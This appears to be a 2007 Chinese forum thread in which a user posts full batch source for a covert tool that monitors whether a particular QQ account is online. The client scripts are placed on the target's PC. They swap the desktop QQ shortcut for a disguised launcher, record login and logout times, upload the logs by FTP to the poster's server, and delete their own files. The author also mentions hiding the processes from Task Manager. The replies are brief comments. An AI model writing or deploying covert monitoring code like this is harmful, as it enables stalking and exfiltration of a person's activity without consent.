Board logo

标题: 批处理检测某个QQ号是否在线,隐身也能检测 [打印本页]

作者: sweetdreamlan     时间: 2007-10-26 01:40    标题: 批处理检测某个QQ号是否在线,隐身也能检测
写此批处理纯属好玩,没有什么技术含量 请务BT ^_^ 替换文件里的QQ号码bat,用的是版主 lxmxn 的代码...嘿嘿 自己写不来 本来想更改ping.exe , find.exe , ftp.exe 等文件名 让对方在任务管理器里查看不出异常来,但是修改cmd.exe路径时遇到难度 所以就没有改 客户端文件: ____________________________ 点这里替换所有文本里的QQ号码.bat \tihuan 初始化bak.bat QQbak.bat QQ.vbs Shortcut.exe 快捷方式创建EXE sleep.exe 延迟 startbak noicqbak 344536606onbak 344536606errorbak 344536606error2bak 344536606downbak 344536606down.txt 344536606error.txt 344536606exit.txt 344536606on.txt 没有找到目录344536606.txt 请看说明.txt 已经替换过.txt __________________________________ 初始化bak.bat 内容 REM 查找QQ文件夹所在目录 :diskC for /r c:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startC :diskD for /r d:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startD :diskE for /r e:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startE :diskF for /r f:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startF :diskG for /r g:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startG :diskH for /r h:\ %%i in (qq) do if exist %%i set qqpath=%%i&& set qexepath=%%i\qq.exe&& goto startH :startC if not exist "%qexepath%" goto diskD goto next :startD if not exist "%qexepath%" goto diskE goto next :startE if not exist "%qexepath%" goto diskF goto next :startF if not exist "%qexepath%" goto :diskG goto next :startG if not exist "%qexepath%" goto :DiskH goto next :startH if not exist "%qexepath%" goto :no goto next 找到了就复制文件到QQ目录下 :next copy qq.vbs "%qqpath%" copy qq.bat "%qqpath%" copy 344536606on "%qqpath%" copy 344536606down "%qqpath%" copy 344536606error "%qqpath%" copy 344536606error2 "%qqpath%" copy sleep.exe "%qqpath%" ftp -s:start REM 搜索桌面上的QQ图标然后删除, 然后创建一个新的Q图标,目标是QQ.vbs for /r "%userprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i" for /r "%allusersprofile%\桌面" %%i in (*.lnk) do if exist "%%i" type "%%i"|find "qq.exe" && del "%%i" Shortcut.exe /f:"%userprofile%\桌面\QQ.lnk" /a:c /t:"%qqpath%\qq.vbs" /w:"%qqpath%" /i:"%qexepath%,0" REM 删除所有用过的文件 del qq.vbs del qq.bat del sleep.exe del Shortcut.exe del 344536606on del 344536606down del 344536606error del 344536606error2 del 344536606down.txt del 344536606error.txt del 344536606exit.txt del 344536606on.txt del start del noicq del 没有找到目录344536606.txt del 初始化.bat exit REM 没有找到的话就向ftp反回报告 :no ftp -s:noicq del qq.vbs del qq.bat del sleep.exe Shortcut.exe del 344536606on del 344536606down del 344536606error del 344536606error2 del 344536606down.txt del 344536606error.txt del 344536606exit.txt del 344536606on.txt del start del noicq del 没有找到目录344536606.txt del 初始化.bat QQ.bat 内容 REM 以QQ号码文件目录下的 ewh.db做为判断上线,naccountservice.dat判断下线 @echo off del 344536606\ewh.db del 344536606\naccountservice.dat start qq.exe REM 在进程里查找ping.exe ,因为如果cmd守护程序还在的话,再运行一次,会出错, sleep 1 tasklist|find "ping.exe" && exit sleep 1 tasklist|find "ping.exe" && exit sleep 1 tasklist|find "ping.exe" && exit ping -n 12 127.1 > nul if not exist 344536606\ewh.db goto detect :start date /t > 344536606on.txt time /t >> 344536606on.txt ftp -s:344536606on REM 如果在344536606exit.txt找到了:就代表上次运行完成,没有被Kiss或重启,如果没有找到就上传报告 type 344536606exit.txt|find ":" && goto online ftp -s:344536606error date /t >> 344536606error.txt time /t >> 344536606error.txt ftp -s:344536606error2 REM 检测naccountservice.dat ,如果有了,就代表下线了 :online set qqpath="%cd%" cd 344536606 dir|find "naccountservice.dat" && goto downline cd /d "%qqpath%" ping -n 6 127.1 > nul goto online :downline cd /d "%qqpath%" date /t > 344536606down.txt time /t >> 344536606down.txt time /t > 344536606exit.txt ftp -s:344536606down del 344536606down.txt del 344536606exit.txt exit REM 打开QQ后如果没检测到ewh.db 就继续检测几次,因为有些人打开QQ会过一下才上 :detect set /a max=%max%+1 if %max%==6 exit set qqpath2="%cd%" cd 344536606 dir|find "ewh.db" && cd /d "%qqpath2%" && goto start cd /d "%qqpath2%" ping -n 6 127.1 > nul goto detect 服务端文件: _______________ Server.bat Server _______________ Server.bat 内容 @echo off :loop color 07 ftp -s:Server cls color 0a type 没有找到目录344536606.txt|find "QQ" && goto exit type 344536606exit.txt|find ":" && goto no cls echo. echo. echo. echo 对方在线... echo. echo. echo 对方上次--下线时间: && type 344536606down.txt echo. echo. echo 对方本次--上线时间: && type 344536606on.txt echo. echo. echo 对方最近最近几次的异常退出记录 && type 344536606error.txt ping -n 10 127.1 > nul goto loop :no cls echo. echo. echo. echo 对方不在线... echo. echo. echo 对方上次--上线时间: && type 344536606on.txt echo. echo. echo 对方上次--下线时间: && type 344536606down.txt echo. echo. echo 对方最近几次的异常退出记录 && type 344536606error.txt ping -n 10 127.1 > nul goto loop :exit type 没有找到目录344536606.txt pause>nul Server 内容 open xxx.xxx.xxx username password cd wwwroot get 344536606on.txt get 344536606down.txt get 344536606exit.txt get 344536606error.txt get 没有找到目录344536606.txt bye 下载 客户端 服务端 [ Last edited by sweetdreamlan on 2007-10-26 at 01:49 AM ]

作者: newyj     时间: 2007-10-26 03:05    标题: 好啊好啊
不知道用

作者: picat     时间: 2007-10-26 10:08
还分客户端服务端?LZ能说一下具体流程吗?

作者: sweetdreamlan     时间: 2007-10-26 12:20
具体流程你把客户端和服务端下载分析下批处理就知道怎么回事了 里面的批处理很容易看懂

作者: 58795362     时间: 2007-12-13 16:26
不适用,不过还是顶

作者: luckboy45     时间: 2007-12-13 18:56
其实你发他个视频就可以了....在线他肯定会骂你的!~

作者: honghunter     时间: 2007-12-22 09:39
基本上那个没有看明白啊,为啥要用ftp哪?

作者: 451596753     时间: 2007-12-22 22:33
如果不用服务端就好了 ~

作者: jefflo     时间: 2007-12-23 13:18
我晕。。。 直接用NETSTAT 给对方发消息,然后看是发个腾讯服务器中转,还是直接发给对方IP了。。 就是只要知道腾讯的几个服务器,NETSTAT查看判断,如果是发给腾讯服务器就是不在线

作者: zlb020     时间: 2007-12-28 15:38
楼上能说明点就好了。

作者: lotus516     时间: 2007-12-28 21:18
要放到别人机子上没用啊!

作者: czzz2005     时间: 2007-12-30 00:20
学习啦~!来这里真是受益匪浅